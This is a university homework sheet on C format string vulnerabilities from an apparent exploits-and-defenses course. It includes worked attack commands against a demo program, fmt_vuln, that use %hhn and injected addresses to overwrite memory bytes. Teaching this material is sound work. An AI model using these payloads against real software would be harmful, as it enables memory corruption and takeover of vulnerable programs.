SI485H Stack Based Binary Exploits and Defenses
FALL 2015

NAME:____________________________

HW11

10/8/5/1/0 COLLABORATOR(S):____________________________

1. Match the format to its description:

2/0 (a) %s ____ Print at most four characters of a string

2/0 (b) %.4s ____ Write the number of formatted characters as a one byte value

2/0 (c) %n ____ Format the output in hexadeximal

2/0 (d) %hn ____ Format the 10th argument in hexadecimal

2/0 (e) %hhn ____ Format the output in hexadecimal adjusted for up to 8 leading spaces

2/0 (f) %x ____ Write the number of formatted characters as a two byte value

2/0 (g) %hhx ____ Write the number of formatted characters

2/0 (h) %#x ____ Format at a pointer value

2/0 (i) %10$x ____ Fromat a hexadecimal number with a leading 0x

2/0 (j) %p ___ Format the output in hexadciaml adjusted for up to 8 leading 0's.

2/0 (k) %08x ___ Format a string up to the NULL byte

2/0 (l) %8x ____ Format a one byte hexadecimal number

2. What is the output from the following example format:

6/4/2/0

```
int a;
printf("%0.10s%n\n", "Go Navy! Beat Army!", &a);
printf("%d",a);
```

___/30

NAME: ______________________________

3. Consider the following program code:

```
int i=0;
int a;
char buf[100];
while( scnaf(“%s%n”,buf,&a) > 0){
   printf(“%#x: %s (%d)”, i, buf, a);

}
```

If this code were executed on the following input:

```
echo “All the world is a stage”  | ./prog
```

What is the output:

5/3/1/0

4. Consider the following code:

```
char outputbuf[128];
sprintf(outputbuf,inputbuf)
```

Provide a format for inputbuf that uses a single % directive to overflow the buffer output buff by 5 bytes. **Exlplain why this works.**

5/3/1/0

10/8/4/0 5. For the following format print, diagram the stack frame right after the function printf() is called. Include the stack diagram for both printf() and foo():

```
void foo(int d){
  printf(“The value of d is: %d\n”, d);
}
```

__/20

NAME: ______________________________

6. Consider the following code

8/6/3/0

```
void foo(){
  int d = 10;
  printf(“The value of d is: %d\n”,d);
  printf(“%x\n”);
}
```

What do you expect the output of the *second* printf() to be? **EXPLAIN.**

7. When conducting a format string attack, consider the following format and output:

8/6/3/0

```
$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x.%#08x
Right: BBBB.%#08x.%#08x.%#08x.%#08x

Wrong: BBBB.0xbffff2b0.0x000400.0x000004.0x42424242

[*] test_val @ 0x804a02c = 4276545 0x00414141
```

What about the “Wrong” output is instructive about what is currently be referenced by the last %#08x format directive?

8. Consider the a format string attack below:

8/6/3/0

```
$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
Right: ,.%#08x.%#08x.%#08x.%hhn

Wrong: ,.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 4276514 0x00414122
```

Explain how the $(printf "\x2c\xa0\x04\x08") and the %hhn format directive allows the attacker to write a single byte

__/24

9. Consider the format string attack below:

```
user@si485H-base:demo$ ./fmt_vuln $(printf
"\x2f\xa0\x04\x08")AAAAAAAAAAAAAAAAAAAAAAA.%#08x.%#08x.%#08x.%hhn
Right: /AAAAAAAAAAAAAAAAAAAAAAA.%#08x.%#08x.%#08x.%hhn

Wrong: /AAAAAAAAAAAAAAAAAAAAAAA.0xbffff290.0x000400.0x000004.

[*] test_val @ 0x804a02c = 960577857 0x39414141
```

If we wanted 0x99 to be the value instead of 0x39 when writing the byte, what would we change the format directive that is **bold** and underlined too? **Explain your answer.**

8/6/3/0

10. Consider the below format string attack input:
(note: lines ending with \ are continuations)

```
$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")\
$(printf "\x2e\xa0\x04\x08")\
$(printf "\x2d\xa0\x04\x08")\
$(printf "\x2c\xa0\x04\x08")\
.%4\$08x.%4\$08x.%5\$08x.%\5\$08x.%6\$08x.%\6\$08x.%7\$08x.%\7\$08x
   (a)      (b)      (c)     (d)     (e)      (f)    (d)       (g)
```

Which of the format directives should be chnaged to %hhn? **Explain.**

6/4/2/0

Why are all the format lengths predsecribed prior to changing to %hhn? What would happen if we built the format length one part at a time?

6/4/2/0

Explain why the \$ portion of the format? What is it used for in the format directive? And, why is it escaped with a \?

6/4/2/0

__/26